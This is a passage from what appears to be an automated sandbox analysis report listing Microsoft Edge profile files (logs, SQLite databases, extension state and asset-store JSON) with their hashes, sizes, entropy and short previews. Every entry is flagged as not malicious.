Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.111626009036411
Encrypted:	false
SSDEEP:	6:H7SDM+q2P923oH+Tcwt9Eh1tIFUt8YKpgZmw+Y/gDMVkwO923oH+Tcwt9Eh15LJ:bqM+v4Yeb9Eh16FUt8a/+RMV5LYeb9Er
MD5:	9BBDB9C5DD0882B9E713D33DC4D0BAFA
SHA1:	DCC4C95D29F81102E10C1B646C4B855E9164BF12
SHA-256:	8718803CE47FE30F42F3EEED28B1D6C1E084B234CF2FCDC2573BC50139B86446
SHA-512:	BB2DC6D4BE341BA9F162A6994480037371D32CBD7531ABDBD6D96563577282CAC63F8B9C5D4BF1EDC24CAC8E4E30215579AB9312468F8666706D3BD5C6BF7EAC
Malicious:	false
Preview:	2024/11/22-19:14:22.518 216c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/22-19:14:22.523 216c Recovering log #3.2024/11/22-19:14:22.534 216c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.111626009036411
Encrypted:	false
SSDEEP:	6:H7SDM+q2P923oH+Tcwt9Eh1tIFUt8YKpgZmw+Y/gDMVkwO923oH+Tcwt9Eh15LJ:bqM+v4Yeb9Eh16FUt8a/+RMV5LYeb9Er
MD5:	9BBDB9C5DD0882B9E713D33DC4D0BAFA
SHA1:	DCC4C95D29F81102E10C1B646C4B855E9164BF12
SHA-256:	8718803CE47FE30F42F3EEED28B1D6C1E084B234CF2FCDC2573BC50139B86446
SHA-512:	BB2DC6D4BE341BA9F162A6994480037371D32CBD7531ABDBD6D96563577282CAC63F8B9C5D4BF1EDC24CAC8E4E30215579AB9312468F8666706D3BD5C6BF7EAC
Malicious:	false
Preview:	2024/11/22-19:14:22.518 216c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/22-19:14:22.523 216c Recovering log #3.2024/11/22-19:14:22.534 216c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.462981877688481
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBu4:TouQq3qh7z3bY2LNW9WMcUvBu4
MD5:	369097B4A4006A6120FE2BF5EEE6B318
SHA1:	55CD0EF91DB5C2D73104CD38CB9AC4EF43502A76
SHA-256:	CF8936B0CD222A09D6211E8B1C8F7CF241B728C3EB1A09213DEE832758B36881
SHA-512:	D95D140E89A71624E8CD2BF003CC65E6C640AEAA6EA1E2759DD1250902FBE2B1D8E4CED43765191EAE960BB46EE2CB9CFCB7841FC290AF80FE6485A8245DA505
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.234382305795374
Encrypted:	false
SSDEEP:	6:HGpQP+q2P923oH+TcwtnG2tMsIFUt8YGpS4zmWZmw+YGpSdVkwO923oH+TcwtnGg:V+v4Yebn9GFUt8o4zmW/+odV5LYebn9b
MD5:	550AA86132E55F7DB82ABCC0DDA9D069
SHA1:	C7AEE9A4F52BBC47D64DFCEC037BA9D9A183BD37
SHA-256:	24330F9F4F669F725C7AB1F2ACC0550886E3F5E8C9F3FBD77ED9FBD86B082219
SHA-512:	36E8FC5A5B79E49FCE58F6159EBFBE54A1A2711F79F5A4DE10441F175DBA29D77EA48C4FBA9D62CF2515BFD4738C6DD9AA0CC27B5599B85E19AD7C24495199D5
Malicious:	false
Preview:	2024/11/22-19:14:16.857 1d3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/22-19:14:16.878 1d3c Recovering log #3.2024/11/22-19:14:16.879 1d3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.234382305795374
Encrypted:	false
SSDEEP:	6:HGpQP+q2P923oH+TcwtnG2tMsIFUt8YGpS4zmWZmw+YGpSdVkwO923oH+TcwtnGg:V+v4Yebn9GFUt8o4zmW/+odV5LYebn9b
MD5:	550AA86132E55F7DB82ABCC0DDA9D069
SHA1:	C7AEE9A4F52BBC47D64DFCEC037BA9D9A183BD37
SHA-256:	24330F9F4F669F725C7AB1F2ACC0550886E3F5E8C9F3FBD77ED9FBD86B082219
SHA-512:	36E8FC5A5B79E49FCE58F6159EBFBE54A1A2711F79F5A4DE10441F175DBA29D77EA48C4FBA9D62CF2515BFD4738C6DD9AA0CC27B5599B85E19AD7C24495199D5
Malicious:	false
Preview:	2024/11/22-19:14:16.857 1d3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/22-19:14:16.878 1d3c Recovering log #3.2024/11/22-19:14:16.879 1d3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6147821550091397
Encrypted:	false
SSDEEP:	12:TLs9pRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7mWXSRxlMAqNv:TLapR+DDNzWjJ0npnyXKUO8+jiMlpJmL
MD5:	C9A8ABBF8FF95C75FC21196CE6BAE465
SHA1:	D0A00C4A8AC447F42C77F1B2A5F9DD3E793DCCE5
SHA-256:	0CA8FCCD21899AA003C654C8513EF499929ADB3342EBD9549858A373918C67A6
SHA-512:	EF042786AED8CFB039A8B59DC9D501F076D03373E9A158CB56F5F58AA0C57AD1451DAE706968EBD97701622A9C04F18F19CDF96A49D14E23A9D167C5CD6D978C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	375520
Entropy (8bit):	5.354134609354732
Encrypted:	false
SSDEEP:	6144:CA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:CFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	070C43E3558F9D575BD10F962976ECF7
SHA1:	29D40613090C3375D999732EB31BEC9EEFFDB82E
SHA-256:	73563914DAF70664731FC5896147EBE10BEF5B8ED2A9CAF165167E58EEDB9C4A
SHA-512:	BF5C3657A2876F7BB37A2B4F4606707815C593117FC6E0F24E734F7BFF49371551D454F366C4CB8F0B994B77BC71BD88EEEE1C1A5D4DB6F637739EFAEA091658
Malicious:	false
Preview:	...m.................DB_VERSION.1\|...q...............&QUERY_TIMESTAMP:domains_config_gz2...13376794465529560..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.15509485344685
Encrypted:	false
SSDEEP:	6:Hj+1923oH+Tcwtk2WwnvB2KLlVkQL+q2P923oH+Tcwtk2WwnvIFUv:DLYebkxwnvFLBL+v4YebkxwnQFUv
MD5:	07CE6F69E468D48E21C3065E62DD2AB4
SHA1:	CBFEC505124CDA623D09AB05EAA9D6A693274124
SHA-256:	CC1D80235B54357D921D5A17C0B57E01014F5CC73E791C9D3DA7F4ABE9AA9054
SHA-512:	882D2721EFAF00CC556C3A4FB3868EA673FD80E9B8098DF343BFFD8E4B1761DD66C142B1FBCE604F676C74316E894C6767888FDE737FAE0A2D3DF5673E4A2044
Malicious:	false
Preview:	2024/11/22-19:14:22.574 217c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/22-19:14:22.687 217c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	358860
Entropy (8bit):	5.3246137790104395
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6R/:C1gAg1zfvn
MD5:	FCFEA257066C9E04EF90FB2E8D5F5768
SHA1:	A576049228F48B41DAA80EB4CC5928E1DF8607B2
SHA-256:	AE41864FA5E4EF1B8911B45F299BA1A685D5EB5D04A4EB230B24BE9B512578B0
SHA-512:	0F87C711BBA9BC0743204FC555E3462782880EC0F0C09519CA1498283CBAADEDC8581A19DEBB44B837A852190302CB91D88DB9E0C2F70F34F5E60C26BB7C6D32
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.156331858872881
Encrypted:	false
SSDEEP:	6:HGncUhyq2P923oH+Tcwt8aPrqIFUt8YGA21Zmw+YGtRkwO923oH+Tcwt8amLJ:CcUyv4YebL3FUt8n/+BR5LYebQJ
MD5:	F9A900D98067D03E7DE47D0F69AB142B
SHA1:	18306F86DA2A40C0F741CDF998676B8B1CD896B4
SHA-256:	AE174A603A3A0019DA17098B59C245569E1E8485E1EA2D1620F8BDFD89EBBC74
SHA-512:	4313F8004E79577369E0A6F29F371F227796D5B7E190667CE3AF5F7BB22573395D5E0824EB5FDF6EF63F8DAE4E6FDEE512D2E8574B60D342031C95067D4A765E
Malicious:	false
Preview:	2024/11/22-19:14:16.691 1de4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/22-19:14:16.725 1de4 Recovering log #3.2024/11/22-19:14:16.730 1de4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.156331858872881
Encrypted:	false
SSDEEP:	6:HGncUhyq2P923oH+Tcwt8aPrqIFUt8YGA21Zmw+YGtRkwO923oH+Tcwt8amLJ:CcUyv4YebL3FUt8n/+BR5LYebQJ
MD5:	F9A900D98067D03E7DE47D0F69AB142B
SHA1:	18306F86DA2A40C0F741CDF998676B8B1CD896B4
SHA-256:	AE174A603A3A0019DA17098B59C245569E1E8485E1EA2D1620F8BDFD89EBBC74
SHA-512:	4313F8004E79577369E0A6F29F371F227796D5B7E190667CE3AF5F7BB22573395D5E0824EB5FDF6EF63F8DAE4E6FDEE512D2E8574B60D342031C95067D4A765E
Malicious:	false
Preview:	2024/11/22-19:14:16.691 1de4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/22-19:14:16.725 1de4 Recovering log #3.2024/11/22-19:14:16.730 1de4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.186143400348261
Encrypted:	false
SSDEEP:	6:HGByq2P923oH+Tcwt865IFUt8YGB011Zmw+YGXRkwO923oH+Tcwt86+ULJ:Syv4Yeb/WFUt8S/+jR5LYeb/+SJ
MD5:	12EF8D8C1F7B2D5B9ACFAD74695D554A
SHA1:	30C3B98004ADF0B009BAB5139BDF544DA1E711F1
SHA-256:	B2DEB0C1811BBFB5D663610D84B9BB2153123D92A2E449145816072D5B383938
SHA-512:	FBB642553876B4721EB4B086CAE5EAB0CDF03E6645EA460B8BE1238336BBCC18148B5465C7A9CE5E1E9396972669CA1C1E67680A1FCF1B8B2A5CAF1AD7945EF5
Malicious:	false
Preview:	2024/11/22-19:14:16.734 1de4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/22-19:14:16.735 1de4 Recovering log #3.2024/11/22-19:14:16.736 1de4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.186143400348261
Encrypted:	false
SSDEEP:	6:HGByq2P923oH+Tcwt865IFUt8YGB011Zmw+YGXRkwO923oH+Tcwt86+ULJ:Syv4Yeb/WFUt8S/+jR5LYeb/+SJ
MD5:	12EF8D8C1F7B2D5B9ACFAD74695D554A
SHA1:	30C3B98004ADF0B009BAB5139BDF544DA1E711F1
SHA-256:	B2DEB0C1811BBFB5D663610D84B9BB2153123D92A2E449145816072D5B383938
SHA-512:	FBB642553876B4721EB4B086CAE5EAB0CDF03E6645EA460B8BE1238336BBCC18148B5465C7A9CE5E1E9396972669CA1C1E67680A1FCF1B8B2A5CAF1AD7945EF5
Malicious:	false
Preview:	2024/11/22-19:14:16.734 1de4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/22-19:14:16.735 1de4 Recovering log #3.2024/11/22-19:14:16.736 1de4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.181274610489448
Encrypted:	false
SSDEEP:	6:HpjUQRF34q2P923oH+Tcwt8NIFUt8YpwHLJZmw+YU3DkwO923oH+Tcwt8+eLJ:JjUQj34v4YebpFUt8qwHLJ/+N3D5LYey
MD5:	3F9D0BE415023A5D4AED002E5E558B97
SHA1:	A1D855CC0DEAA264372ECB1D57077235BDA2469C
SHA-256:	EC93C243ED76C2F2674B844789D1EBAD4C8FF9B38E743D862A2EB2F34A37C1DA
SHA-512:	9FD7FDB334F578CD166E8E16796E4CE83F0C0E70A36E1F496045A55256101F40628C3DBB69FA1328664FE02FB36FEBA212CBC5F750D75F5EA03F99D73D674536
Malicious:	false
Preview:	2024/11/22-19:14:17.464 1cb4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/22-19:14:17.465 1cb4 Recovering log #3.2024/11/22-19:14:17.476 1cb4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.181274610489448
Encrypted:	false
SSDEEP:	6:HpjUQRF34q2P923oH+Tcwt8NIFUt8YpwHLJZmw+YU3DkwO923oH+Tcwt8+eLJ:JjUQj34v4YebpFUt8qwHLJ/+N3D5LYey
MD5:	3F9D0BE415023A5D4AED002E5E558B97
SHA1:	A1D855CC0DEAA264372ECB1D57077235BDA2469C
SHA-256:	EC93C243ED76C2F2674B844789D1EBAD4C8FF9B38E743D862A2EB2F34A37C1DA
SHA-512:	9FD7FDB334F578CD166E8E16796E4CE83F0C0E70A36E1F496045A55256101F40628C3DBB69FA1328664FE02FB36FEBA212CBC5F750D75F5EA03F99D73D674536
Malicious:	false
Preview:	2024/11/22-19:14:17.464 1cb4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/22-19:14:17.465 1cb4 Recovering log #3.2024/11/22-19:14:17.476 1cb4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
